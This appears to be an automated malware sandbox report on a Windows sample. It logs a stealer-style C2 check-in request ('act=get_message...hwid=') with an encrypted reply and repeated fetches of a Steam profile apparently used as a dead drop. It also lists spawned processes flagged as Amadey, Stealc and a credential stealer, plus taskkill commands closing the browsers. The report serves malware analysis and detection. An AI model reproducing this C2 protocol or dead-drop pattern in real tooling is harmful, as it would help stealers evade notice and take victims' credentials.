2024-10-24 09:02:27 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 43 43 45 37 35 33 41 38 39 45 30 37 32 30 32 32 33 41 34 39 45 33 33 44 31 43 31 37 43 31 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=CCE753A89E0720223A49E33D1C17C184
2024-10-24 09:02:27 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vnjkmtcaa8plecuk53nvnjb55t; expires=Mon, 17 Feb 2025 02:49:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3yije9pbbORYIKyvcxLONjULLJmZp6yM5RD%2Ful4uF1EA9wiPfEwwxOExhVSMIeqwRzp8Zk5vi%2Bubr8WkzhV3USSr0VNd3tj7Ux4UvphUQ2A4IpjpGOBwdom50G2RJvJCT5ugEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c9bdad636c6c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1035&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1077&delivery_rate=2498705&cwnd=241&unsent_bytes=0&cid=9090acf79fcb9d0f&ts=335&x=0"
2024-10-24 09:02:27 UTC	299	IN	Data Raw: 31 32 34 0d 0a 46 72 55 63 55 32 5a 55 50 4e 73 66 50 31 4b 68 43 79 43 4f 6d 67 4c 64 49 44 72 47 4d 47 39 37 30 34 6a 59 32 53 69 74 65 66 56 4e 7a 6a 34 6d 52 47 34 65 73 32 74 4c 49 70 74 58 44 39 4b 31 4d 2b 55 56 46 50 51 42 57 6c 58 69 75 65 76 33 47 5a 73 6c 32 6e 76 63 63 6a 59 36 65 30 36 36 63 56 73 39 7a 43 56 46 39 76 38 67 38 51 4a 63 73 68 4a 56 53 2f 2b 71 76 66 73 53 6e 51 54 5a 62 5a 64 70 63 56 78 32 56 4b 39 72 54 32 6a 39 4a 48 79 68 71 7a 72 6f 44 67 6a 33 42 55 46 4b 34 72 76 32 36 42 37 78 56 6f 5a 69 30 48 30 2b 4f 6e 74 4f 75 6e 46 62 50 63 77 6c 52 66 62 2f 49 50 45 43 58 4c 49 53 56 55 76 2f 71 72 33 37 45 70 30 45 32 57 32 58 61 58 46 63 64 6c 53 76 61 30 39 6f 2f 53 52 38 6f 61 73 36 36 41 34 49 39 77 56 42 53 75 4b 37 39 75 Data Ascii: 124FrUcU2ZUPNsfP1KhCyCOmgLdIDrGMG9704jY2SitefVNzj4mRG4es2tLIptXD9K1M+UVFPQBWlXiuev3GZsl2nvccjY6e066cVs9zCVF9v8g8QJcshJVS/+qvfsSnQTZbZdpcVx2VK9rT2j9JHyhqzroDgj3BUFK4rv26B7xVoZi0H0+OntOunFbPcwlRfb/IPECXLISVUv/qr37Ep0E2W2XaXFcdlSva09o/SR8oas66A4I9wVBSuK79u
2024-10-24 09:02:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49877	104.102.49.254	443	6552	C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:50 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 09:02:51 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 09:02:50 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=c8853dfe3c8e6e6c444d7ca2; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 09:02:51 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 09:02:51 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49951	104.102.49.254	443	3196	C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:03:04 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 09:03:05 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 09:03:04 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=e2301badb3e7bec0a38093a5; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 09:03:05 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 09:03:05 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50057	104.102.49.254	443	6552	C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:03:39 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 09:03:40 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 09:03:39 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=b21774557b2f517062863c64; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 09:03:40 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 09:03:40 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Target ID:	0
Start time:	05:02:11
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1b0000
File size:	2'888'192 bytes
MD5 hash:	7B4CC8AC4AC8827894A00407B15007C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2227913315.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2185153441.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2227693776.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212713224.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2197662710.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2226397549.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2200551124.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212770772.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2184078982.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2197538360.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2197338181.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2198294386.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2226367127.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:02:31
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe"
Imagebase:	0x3f0000
File size:	1'880'576 bytes
MD5 hash:	51098B78FFF0FFD53DF2F9CFE058AA86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2349736258.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2391174497.00000000003F1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:02:34
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe"
Imagebase:	0xbd0000
File size:	1'829'376 bytes
MD5 hash:	E13D89812EE808B7637FE554797B759B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:02:35
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x740000
File size:	1'880'576 bytes
MD5 hash:	51098B78FFF0FFD53DF2F9CFE058AA86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2397910206.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:02:36
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe"
Imagebase:	0x990000
File size:	2'785'280 bytes
MD5 hash:	69781A3A70FE07C63A7435F108333941
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:02:46
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"
Imagebase:	0x4a0000
File size:	2'888'192 bytes
MD5 hash:	7B4CC8AC4AC8827894A00407B15007C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:02:52
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Imagebase:	0x740000
File size:	1'829'376 bytes
MD5 hash:	E13D89812EE808B7637FE554797B759B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:02:59
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"
Imagebase:	0x4a0000
File size:	2'888'192 bytes
MD5 hash:	7B4CC8AC4AC8827894A00407B15007C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:03:00
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x740000
File size:	1'880'576 bytes
MD5 hash:	51098B78FFF0FFD53DF2F9CFE058AA86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2673921546.0000000000741000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2632495189.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:03:00
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Imagebase:	0xe80000
File size:	919'552 bytes
MD5 hash:	8C8F878E0052609B14B1A3F7233D8453
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:03:00
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:03:00
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:03:03
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:03:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
